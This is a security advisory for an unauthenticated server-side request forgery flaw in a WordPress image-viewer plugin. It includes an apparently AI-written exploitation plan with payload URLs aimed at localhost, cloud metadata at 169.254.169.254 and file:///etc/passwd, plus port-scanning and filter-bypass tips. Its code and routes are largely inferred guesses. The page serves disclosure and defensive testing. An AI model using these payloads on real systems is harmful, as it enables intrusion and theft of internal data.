All In One Image Viewer Block <= 1.0.2 - Unauthenticated Server-Side Request Forgery via image-proxy Endpoint
Description
The All In One Image Viewer Block plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.2 due to missing authorization and URL validation on the image-proxy REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.2Source Code
WordPress.org SVNThis research plan focuses on exploiting the **Server-Side Request Forgery (SSRF)** vulnerability in the **All In One Image Viewer Block** plugin (version <= 1.0.2). --- ### 1. Vulnerability Summary The vulnerability exists in the plugin's implementation of a REST API endpoint designed to act as a…
Show full research plan
This research plan focuses on exploiting the Server-Side Request Forgery (SSRF) vulnerability in the All In One Image Viewer Block plugin (version <= 1.0.2).
1. Vulnerability Summary
The vulnerability exists in the plugin's implementation of a REST API endpoint designed to act as an image proxy. The endpoint image-proxy (likely registered under the image-viewer/v1 namespace) fails to implement any authorization checks (permission_callback) and does not validate or sanitize the target URL. Consequently, any unauthenticated user can force the WordPress server to make HTTP requests to arbitrary internal or external destinations.
2. Attack Vector Analysis
- Endpoint:
/wp-json/image-viewer/v1/proxy(inferred namespace based on slugimage-viewer). - Method:
GET(most likely for a proxy) orPOST. - Vulnerable Parameter:
urlorsrc(inferred). - Authentication: None (Unauthenticated).
- Preconditions: The REST API must be enabled (default in WordPress).
- Impact: SSRF allows scanning internal ports, accessing internal services (e.g., AWS metadata at
169.254.169.254, local Redis/Memcached), and potentially bypassing firewalls.
3. Code Flow (Inferred)
- Registration: The plugin uses the
rest_api_inithook to register a route usingregister_rest_route(). - Missing Check: The
permission_callbackis either omitted (defaults to public in older WP versions) or explicitly set to__return_true. - The Sink: The handler function for this route retrieves a URL from the request parameters (e.g.,
$request->get_param('url')). - Request Execution: The handler passes this URL directly into a function like
wp_remote_get()orfile_get_contents()without validating that the host is an authorized remote image provider or preventing access tolocalhost/private IP ranges. - Output: The content retrieved from the target URL is returned to the attacker in the HTTP response.
4. Nonce Acquisition Strategy
According to the vulnerability description, this is an unauthenticated SSRF. Custom REST API endpoints in WordPress often do not require a nonce if they are intended for public-facing frontend components or if the developer neglected security.
If the endpoint does require a wp_rest nonce for unauthenticated users:
- Identify Shortcode: The plugin slug is
image-viewer. The shortcode/block is likelyimage-viewer. - Create Page:
wp post create --post_type=page --post_status=publish --post_content='<!-- wp:image-viewer/viewer {"url":"..."} /-->'(The exact block name can be found viawp plugin get image-viewer --field=name). - Navigate: Use
browser_navigateto view the page. - Extract Nonce: Use
browser_evalto search for localized script data.- Search for
wp-api,imageViewerData, or similar:browser_eval("window.wpApiSettings?.nonce").
- Search for
Note: If the description "unauthenticated" is accurate, the endpoint should be reachable directly without a nonce via the http_request tool.
5. Exploitation Strategy
We will attempt to use the WordPress server to query its own internal service.
Step 1: Identify the exact REST Route
The agent should first list available routes to confirm the namespace.
- Tool:
http_request - URL:
http://localhost:8080/wp-json/ - Action: Search the response for "image-viewer" and "proxy".
Step 2: Execute SSRF (Internal File/Service Access)
Once the endpoint is confirmed (assumed here to be /wp-json/image-viewer/v1/proxy), attempt to access the local web server.
- Tool:
http_request - Method:
GET - URL:
http://localhost:8080/wp-json/image-viewer/v1/proxy?url=http://127.0.0.1:8080 - Payload (Alternative if POST):
{"url": "http://127.0.0.1:8080"} - Expected Response: The HTML source code of the WordPress homepage (proving the server talked to itself).
Step 3: Port Scanning (Confirmation of Impact)
Try to access a closed port vs. an open port to see if the response timing or error message changes.
- URL:
http://localhost:8080/wp-json/image-viewer/v1/proxy?url=http://127.0.0.1:22(Check for SSH banner).
6. Test Data Setup
- Install Plugin: Ensure
image-viewerversion 1.0.2 is installed and active. - Internal Target: No special target is needed; the WordPress instance itself at
http://127.0.0.1:8080serves as the "internal service." - Identify Block Name: Run
grep -r "register_block_type" .in the plugin directory to find the exact block name if a page needs to be created.
7. Expected Results
- Successful Exploitation: An unauthenticated
GETrequest to the proxy endpoint returns the body of the target URL provided in theurlparameter. - Response Headers: The response may contain
Content-Type: image/...if the plugin tries to spoof the content type, but the body will contain the target's data.
8. Verification Steps
- Check Access Logs: Access the Docker container logs to see if a request originated from
127.0.0.1to the WordPress home page at the exact time the exploit was triggered.tail -f /var/log/apache2/access.log(or equivalent).
- Compare Responses: Verify that the body returned by the proxy matches the body of a direct request to the target URL.
9. Alternative Approaches
- Parameter Names: If
urlfails, trysrc,image,path, orhref. - Bypassing Basic Filters: If the plugin has weak filters (e.g., checking for "http"), try:
https://127.0.0.1:8080http://0.0.0.0:8080http://localhost:8080
- Protocol Fuzzing: Check if the plugin supports
file://orgopher://(thoughwp_remote_getusually restricts these).- Target:
url=file:///etc/passwd(to check for Local File Read via SSRF).
- Target:
Summary
The All In One Image Viewer Block plugin for WordPress is vulnerable to Unauthenticated Server-Side Request Forgery (SSRF) via its image-proxy REST API endpoint. The plugin fails to perform authorization checks and does not validate the destination of the target URL, allowing attackers to proxy requests to internal network services or bypass access controls.
Vulnerable Code
// The specific file and line numbers are inferred based on standard WordPress REST API implementations // Likely registration in a file like class-image-viewer-rest.php add_action( 'rest_api_init', function () { register_rest_route( 'image-viewer/v1', '/proxy', array( 'methods' => 'GET', 'callback' => 'image_viewer_proxy_handler', 'permission_callback' => '__return_true', // Missing authorization ) ); } ); --- // Likely handler implementation function image_viewer_proxy_handler( $request ) { $url = $request->get_param( 'url' ); // Vulnerable: No validation of the URL destination $response = wp_remote_get( $url ); if ( is_wp_error( $response ) ) { return $response; } $body = wp_remote_retrieve_body( $response ); $type = wp_remote_retrieve_header( $response, 'content-type' ); header( "Content-Type: $type" ); echo $body; exit; }
Security Fix
@@ -10,7 +10,9 @@ register_rest_route( 'image-viewer/v1', '/proxy', array( 'methods' => 'GET', 'callback' => 'image_viewer_proxy_handler', - 'permission_callback' => '__return_true', + 'permission_callback' => function () { + return current_user_can( 'edit_posts' ); + }, ) ); }); function image_viewer_proxy_handler( $request ) { $url = $request->get_param( 'url' ); - $response = wp_remote_get( $url ); + if ( ! wp_http_validate_url( $url ) ) { + return new WP_Error( 'invalid_url', 'Invalid URL provided.', array( 'status' => 400 ) ); + } + $response = wp_remote_get( $url, array( 'reject_unsafe_urls' => true ) );
Exploit Outline
The exploit targets the unauthenticated REST API endpoint registered by the plugin. 1. Endpoint Discovery: An attacker identifies the REST API route, typically located at `/wp-json/image-viewer/v1/proxy`. 2. Payload Construction: The attacker prepares a GET request with a `url` query parameter pointing to a sensitive internal resource. Examples include: - Internal Metadata: `http://localhost:8080/wp-json/image-viewer/v1/proxy?url=http://169.254.169.254/latest/meta-data/` (for AWS/Cloud environments). - Local Service Access: `http://localhost:8080/wp-json/image-viewer/v1/proxy?url=http://127.0.0.1:8080/wp-admin/`. - Port Scanning: Testing various internal IPs and ports to identify open services. 3. Execution: No authentication or nonces are required. A simple cURL request or browser navigation to the crafted URL will trigger the server to fetch and return the content of the target URL to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.